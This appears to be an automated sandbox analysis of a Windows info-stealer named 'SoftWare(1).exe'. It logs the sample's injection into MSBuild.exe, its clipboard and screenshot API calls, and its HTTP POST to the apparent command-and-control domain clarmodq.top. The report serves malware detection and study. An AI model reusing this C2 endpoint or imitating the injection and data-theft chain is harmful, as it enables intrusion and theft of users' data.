Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: clarmodq.top
Source: global traffic	DNS traffic detected: DNS query: c.pki.goog

Source: unknown

HTTP traffic detected: POST /qoxo HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 97Host: clarmodq.top

Source: MSBuild.exe, 00000002.00000002.982179468.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clarmodq.top/
Source: MSBuild.exe, 00000002.00000002.982179468.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clarmodq.top/d
Source: MSBuild.exe, 00000002.00000002.982179468.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clarmodq.top/dF
Source: MSBuild.exe, 00000002.00000002.982043727.00000000009BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.982179468.0000000000A1E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.982161601.0000000000A11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clarmodq.top/qoxo
Source: MSBuild.exe, 00000002.00000002.981959800.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clarmodq.top:443/qoxocal

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443

Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.126:443 -> 192.168.2.8:49688 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0043D320 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

2_2_0043D320

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0043D320 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

2_2_0043D320

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0043D510 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0043D510

Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F3000	0_2_00007FF6AF1F3000
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D55C0	0_2_00007FF6AF1D55C0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EF460	0_2_00007FF6AF1EF460
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FA860	0_2_00007FF6AF1FA860
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F8CB0	0_2_00007FF6AF1F8CB0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D50B0	0_2_00007FF6AF1D50B0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF280C94	0_2_00007FF6AF280C94
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EC890	0_2_00007FF6AF1EC890
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F08E0	0_2_00007FF6AF1F08E0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EA8E0	0_2_00007FF6AF1EA8E0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F84E0	0_2_00007FF6AF1F84E0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF26C4F0	0_2_00007FF6AF26C4F0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E60F0	0_2_00007FF6AF1E60F0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EF8C0	0_2_00007FF6AF1EF8C0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF20ACD0	0_2_00007FF6AF20ACD0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FB8D0	0_2_00007FF6AF1FB8D0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F7D20	0_2_00007FF6AF1F7D20
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FD520	0_2_00007FF6AF1FD520
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FBD20	0_2_00007FF6AF1FBD20
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F7100	0_2_00007FF6AF1F7100
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF204500	0_2_00007FF6AF204500
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FAD10	0_2_00007FF6AF1FAD10
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F1340	0_2_00007FF6AF1F1340
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF208F40	0_2_00007FF6AF208F40
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF26D798	0_2_00007FF6AF26D798
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1ECB80	0_2_00007FF6AF1ECB80
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FCB80	0_2_00007FF6AF1FCB80
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EE790	0_2_00007FF6AF1EE790
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F67D0	0_2_00007FF6AF1F67D0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F4FD0	0_2_00007FF6AF1F4FD0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF23CFC0	0_2_00007FF6AF23CFC0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF20C7C0	0_2_00007FF6AF20C7C0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF27A01C	0_2_00007FF6AF27A01C
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EE02F	0_2_00007FF6AF1EE02F
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF27280C	0_2_00007FF6AF27280C
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FE800	0_2_00007FF6AF1FE800
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF20C270	0_2_00007FF6AF20C270
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1E666E	0_2_00007FF6AF1E666E
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF203A70	0_2_00007FF6AF203A70
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF283E60	0_2_00007FF6AF283E60
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF200640	0_2_00007FF6AF200640
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF209A50	0_2_00007FF6AF209A50
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F36A0	0_2_00007FF6AF1F36A0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF204AB0	0_2_00007FF6AF204AB0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1D32B0	0_2_00007FF6AF1D32B0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF26CAA0	0_2_00007FF6AF26CAA0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF209690	0_2_00007FF6AF209690
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EC290	0_2_00007FF6AF1EC290
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF20A6E0	0_2_00007FF6AF20A6E0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F6AD0	0_2_00007FF6AF1F6AD0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF2076D0	0_2_00007FF6AF2076D0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF208AC0	0_2_00007FF6AF208AC0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF2702C0	0_2_00007FF6AF2702C0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF26E728	0_2_00007FF6AF26E728
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF20EB30	0_2_00007FF6AF20EB30
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF272F10	0_2_00007FF6AF272F10
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF27A6FC	0_2_00007FF6AF27A6FC
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FAB10	0_2_00007FF6AF1FAB10
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF27A304	0_2_00007FF6AF27A304
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F9970	0_2_00007FF6AF1F9970
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EB940	0_2_00007FF6AF1EB940
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF210550	0_2_00007FF6AF210550
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F8950	0_2_00007FF6AF1F8950
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF207950	0_2_00007FF6AF207950
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EA5A0	0_2_00007FF6AF1EA5A0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF26D99C	0_2_00007FF6AF26D99C
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1ED1B0	0_2_00007FF6AF1ED1B0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF26D594	0_2_00007FF6AF26D594
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EAD90	0_2_00007FF6AF1EAD90
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF204190	0_2_00007FF6AF204190
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1EFDE0	0_2_00007FF6AF1EFDE0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FD1F0	0_2_00007FF6AF1FD1F0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1FCDF0	0_2_00007FF6AF1FCDF0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1ED9C0	0_2_00007FF6AF1ED9C0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F51C0	0_2_00007FF6AF1F51C0
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF1F4230	0_2_00007FF6AF1F4230
Source: C:\Users\user\Desktop\SoftWare(1).exe	Code function: 0_2_00007FF6AF211220	0_2_00007FF6AF211220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414037	2_2_00414037
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044D0E0	2_2_0044D0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00426250	2_2_00426250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004192A0	2_2_004192A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004153B6	2_2_004153B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00434429	2_2_00434429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C4F0	2_2_0044C4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040B680	2_2_0040B680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00434840	2_2_00434840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041F8C0	2_2_0041F8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00445880	2_2_00445880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040D9F0	2_2_0040D9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00448B21	2_2_00448B21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00412BE8	2_2_00412BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00441B80	2_2_00441B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042DC10	2_2_0042DC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00422DD0	2_2_00422DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00448E6F	2_2_00448E6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00410E87	2_2_00410E87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00441F70	2_2_00441F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043D050	2_2_0043D050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041F07B	2_2_0041F07B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004030D0	2_2_004030D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004160FC	2_2_004160FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00409170	2_2_00409170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00447170	2_2_00447170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043A1C1	2_2_0043A1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004271C0	2_2_004271C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00441210	2_2_00441210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040B220	2_2_0040B220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042D28B	2_2_0042D28B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040C290	2_2_0040C290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043D320	2_2_0043D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00404382	2_2_00404382
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004023B0	2_2_004023B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044A3B0	2_2_0044A3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004433B0	2_2_004433B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004383BB	2_2_004383BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00441470	2_2_00441470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B43B	2_2_0041B43B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004254C0	2_2_004254C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004214C6	2_2_004214C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042F5AF	2_2_0042F5AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004405BF	2_2_004405BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00416630	2_2_00416630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004086A0	2_2_004086A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043076C	2_2_0043076C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00413710	2_2_00413710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042473A	2_2_0042473A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004147F9	2_2_004147F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00423840	2_2_00423840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041E876	2_2_0041E876
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041080E	2_2_0041080E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040A950	2_2_0040A950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044C950	2_2_0044C950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044A910	2_2_0044A910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043A930	2_2_0043A930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040C9F0	2_2_0040C9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00407990	2_2_00407990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00433A60	2_2_00433A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00403A70	2_2_00403A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00446A00	2_2_00446A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00449A01	2_2_00449A01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00435A0A	2_2_00435A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00415AD0	2_2_00415AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040FA90	2_2_0040FA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00426B20	2_2_00426B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00408BC0	2_2_00408BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043ABE0	2_2_0043ABE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0043CB90	2_2_0043CB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00406B96	2_2_00406B96
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00423C90	2_2_00423C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00434CA7	2_2_00434CA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044CD10	2_2_0044CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00447DA0	2_2_00447DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042CE40	2_2_0042CE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00442E40	2_2_00442E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00445E70	2_2_00445E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00429E87	2_2_00429E87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00448F42	2_2_00448F42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0044AF70	2_2_0044AF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00412F78	2_2_00412F78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042FFA3	2_2_0042FFA3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00419290 appears 93 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040B0C0 appears 79 times

Source: SoftWare(1).exe

Static PE information: Number of sections : 13 > 10

Source: SoftWare(1).exe, 00000000.00000002.898911124.00000241B624A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHH.exe4 vs SoftWare(1).exe
Source: SoftWare(1).exe, 00000000.00000000.837990469.00007FF6AF35C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHH.exe4 vs SoftWare(1).exe
Source: SoftWare(1).exe	Binary or memory string: OriginalFilenameHH.exe4 vs SoftWare(1).exe

Source: SoftWare(1).exe	Static PE information: Section: .jss ZLIB complexity 1.0003259892086331
Source: SoftWare(1).exe	Static PE information: Section: .jss ZLIB complexity 1.0003259892086331

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/1@3/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00441F70 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00441F70

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:4328:120:WilError_03

Source: C:\Program Files\Windows Defender\MpCmdRun.exe

File created: C:\Windows\SERVIC~1\LOCALS~1\AppData\Local\Temp\MpCmdRun.log

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(1).exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SoftWare(1).exe	Virustotal: Detection: 31%
Source: SoftWare(1).exe	ReversingLabs: Detection: 27%

Source: C:\Users\user\Desktop\SoftWare(1).exe

File read: C:\Users\user\Desktop\SoftWare(1).exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SoftWare(1).exe "C:\Users\user\Desktop\SoftWare(1).exe"
Source: C:\Users\user\Desktop\SoftWare(1).exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SoftWare(1).exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(1).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(1).exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
